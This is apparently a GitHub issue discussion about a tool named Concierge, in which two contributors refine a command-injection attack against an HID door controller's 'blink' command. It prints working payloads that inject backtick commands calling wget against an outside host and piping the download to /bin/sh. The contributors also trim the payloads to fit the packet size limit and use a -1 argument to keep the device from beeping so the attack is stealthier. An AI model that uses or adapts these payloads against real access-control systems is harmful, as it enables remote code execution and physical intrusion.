HID command_blink_on prevent beep

[bcoles]

I noticed the following on your blog:

I’m putting the finishing touches on a bash script that executes the above attack and another that cleans up afterwards. Along with the script, I’m doing some testing on timing. It think it’s possible to send the commands quick enough that, while all three payloads execute, only one beep is heard. Once those scripts are complete, you’ll be able to find the here: https://github.com/lixmk/Concierge.

You may be pleased to note that a value of -1 will prevent the device from beeping. This comes at the cost of one additional byte, thus decreasing the available space for the specified shell command by one byte.

A value of 1 will cause the device to beep for one second.
A value of 0 will cause the device to been infinitely.
ASCII values such as A will also cause the device to been infinitely.
A value of -1 will cause the blink executable to throw an error and exit, however the subsequent shell commands encompassed in backticks will still be executed by the system shell.

# ./blink -1
WARNING: blink: duration (-1) not in range 1-65535.
Usage: blink [<secs>]

[lixmk]

Thanks for the info. I'll check all the payloads and see if they have the spare byte. If not, I'll see if I can find more ways to optimize space.

[bcoles]

I took a quick look at your script.

A worst case scenario for your existing implementation is...

1`wget http://123.123.123.123:12345/ -O-|/bin/sh`

... 49 characters long. This is already too big, with a maximum packet length of 44.

You could save some bytes by dropping the URL scheme and URL path:

1`wget 123.123.123.123:12345 -O/tmp/a`

...totaling 39 characters, allowing space for the extra byte.

The obvious downside of this approach is requiring three requests - one to drop the payload file, another to execute, and a third to remove the payload file. Also, dropping the URL scheme prevents serving the payload over HTTPS, however this was a shortcoming of the existing implementation anyway.

[lixmk]

If I recall correctly, some board types' version of wget doesn't allow dropping the http://. Also, piping straight to /bin/sh was intentional for the exact reason you mentioned. Additionally, it means you don't need to write to disk. The original version of the script (might have been the .sh version) used the 3 request design.

I realize I never tested piping to sh without the full path. It should be in $PATH. If that works, that should be the solution. Gonna try to find time tonight or tomorrow to test.